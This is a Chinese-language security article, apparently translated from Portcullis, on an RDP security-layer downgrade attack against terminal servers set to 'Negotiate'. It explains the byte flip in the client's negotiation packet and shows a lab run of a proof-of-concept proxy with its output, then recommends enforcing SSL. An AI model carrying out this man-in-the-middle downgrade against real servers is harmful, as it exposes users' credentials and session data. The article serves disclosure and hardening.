如果終端服務(wù)器(Terminal Servers)配置不正確,那么RDP(Remote Desktop Protocal,遠(yuǎn)程桌面協(xié)議)連接就可能會(huì)面臨降級(jí)攻擊的危險(xiǎn)。在這篇文章中,我們會(huì)使用一個(gè)名為rdp-downgrade.py的POC工具來演示降級(jí)攻擊。
RDP安全層
在討論降級(jí)攻擊之前,我們需要明白,所謂的降級(jí)究竟從什么級(jí)別降到什么級(jí)別。
在RDP協(xié)議中有下面三個(gè)可用的安全層。都可以在Terminal Server終端服務(wù)器上進(jìn)行配置。
Classic RDP Protocol–在tscc.msc配置工具中,它又叫“RDP Security Layer”,協(xié)議說明(見PDF的40頁)則將之稱為PROTOCOL_RDP。
SSL–GUI界面中就被稱作“SSL”或“SSL(TLS 1.0)”,協(xié)議說明里面則稱之為PROTOCOL_SSL。
CredSSP–當(dāng)選中“Network Layer Authentication”(網(wǎng)絡(luò)層認(rèn)證)選項(xiàng)時(shí),也就有了響應(yīng)的功能。它也使用了SSL,在協(xié)議規(guī)格中描述為PROTOCOL_HYBRID。
這里面第一個(gè)選項(xiàng)是不安全的。如果協(xié)商后使用這個(gè)協(xié)議,連接就比較容易遭受中間人攻擊。實(shí)施這一攻擊的人可以看到客戶端和服務(wù)器之間傳遞的所有輸入信息和數(shù)據(jù)。我們的目標(biāo)就是要降級(jí)到這個(gè)協(xié)議之上。
剩下的兩個(gè)選項(xiàng)都使用了SSL封裝,就安全多了。我們就是從這兩個(gè)協(xié)議降級(jí)。
怎么才能知道連接使用了哪個(gè)安全層
可以利用終端服務(wù)客戶端mstsc.exe的警告信息來識(shí)別使用了什么協(xié)議。
Classic RDP
提示不能認(rèn)證服務(wù)器的警告信息,在上面還提到了中間人攻擊。
Classic RDP連接的警告
SSL
如果你沒有配置主機(jī)信任RDP服務(wù)器的SSL證書,你會(huì)看到下面的證書警告:
(Non-CredSSP)SSL連接的警告
CredSSP(NLA + SSL)
你會(huì)收到一個(gè)輸入用戶名和口令的彈出窗口。而Classic RDP和SSL都通過完整的Windows桌面來輸入密碼。
NLA連接的對(duì)話框
有漏洞的配置
如果把Terminal Servers配置成“Negotiate”協(xié)商安全層,就有降級(jí)攻擊的可行性。下面就是Windows 2003服務(wù)器的配置,在更新版本的Windows上也有。
降級(jí)攻擊
我們要連接至一臺(tái)Windows 2003 RDP服務(wù)器,這臺(tái)服務(wù)器配置為協(xié)商安全層(Negotiate)。我們連接所用的系統(tǒng)自然就是支持Classic RDP、SSL和NLA的Windows系統(tǒng)。這臺(tái)服務(wù)器則只支持Classic RDP和SSL。可以預(yù)見,兩者一般情況下應(yīng)該會(huì)協(xié)商出雙方都支持的最安全的協(xié)議:SSL。
在攻擊的時(shí)候,我們對(duì)流量進(jìn)行篡改,讓服務(wù)器認(rèn)為客戶端只支持Classic RDP。至于流量攔截,我們可以用ARP欺騙或者DNS欺騙或者其它方法實(shí)現(xiàn)。
在連上TCP 3389端口之后,客戶端(mstsc)會(huì)發(fā)送類似于下面的數(shù)據(jù)(十六進(jìn)制顯示):
03 00 00 13 0e e0 00 00 00 00 00 01 00 08 00 *03* 00 00 00
其中的03就表示客戶端支持的協(xié)議,這個(gè)位置的值分別對(duì)應(yīng)下面這些含義:
00 –只支持Classic RDP
01 –支持Classic RDP和SSL
03 –除上面兩個(gè)之外,還支持CredSSP
這在協(xié)議規(guī)范的37頁有描述。
我們的POC就是簡(jiǎn)單的把03換成00,讓客戶端和服務(wù)器最終協(xié)商出Classic RDP,而不是SSL。
用我們的工具在192.168.190.170上監(jiān)聽TCP 3389端口。并讓它把流量轉(zhuǎn)發(fā)到192.168.2.96。
$ python rdp-downgrade.py 192.168.2.96
[Proxy] Listening for connections on 0.0.0.0:3389
這個(gè)例子中,我們沒有做真實(shí)的ARP欺騙攻擊,直接連向了中間人。
輸入了攻擊者的IP地址
在我們的POC工具里,看到了來自于RDP客戶端(192.168.190.1)的連接,并且代理向目標(biāo)服務(wù)器發(fā)起了連接。
[Proxy] Incoming connection from 192.168.190.1:58715
[Proxy] New outgoing request to 192.168.2.96:3389
[Proxy] Connected
接下來,我們看到客戶端發(fā)送了19個(gè)字節(jié),注意靠近數(shù)據(jù)末尾的03,POC工具將其識(shí)別了出來,并提示信息告訴我們,已經(jīng)將03改成00。
[From 192.168.190.1] Received 19 bytes
0000 03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03 ................
0010 00 00 00 ...
[From 192.168.190.1] Modified data to downgrade connection
接著,我們不做任何更改就可以自由地查看流量了:
[From 192.168.2.96] Received 19 bytes
0000 03 00 00 13 0E D0 00 00 12 34 00 02 00 08 00 00 .........4......
0010 00 00 00 ...
...snip...
mstsc會(huì)顯示Classic RDP連接的警告框,這就表明降級(jí)攻擊成功了。這個(gè)警告對(duì)話框,我們?cè)谇懊嫣岬紺lassic RDP的時(shí)候就已經(jīng)見過了。
Classic RDP連接的警告信息
結(jié)論
通過上面的攻擊過程,我們當(dāng)然建議不要將終端服務(wù)器的安全層配置成“Negotiate”協(xié)商,而是配置成使用SSL,這理論上就能有效阻止上面這樣的降級(jí)攻擊了。
* 參考來源:Portcullis,felix編譯,轉(zhuǎn)載請(qǐng)注明來自FreeBuf黑客與極客(FreeBuf.COM)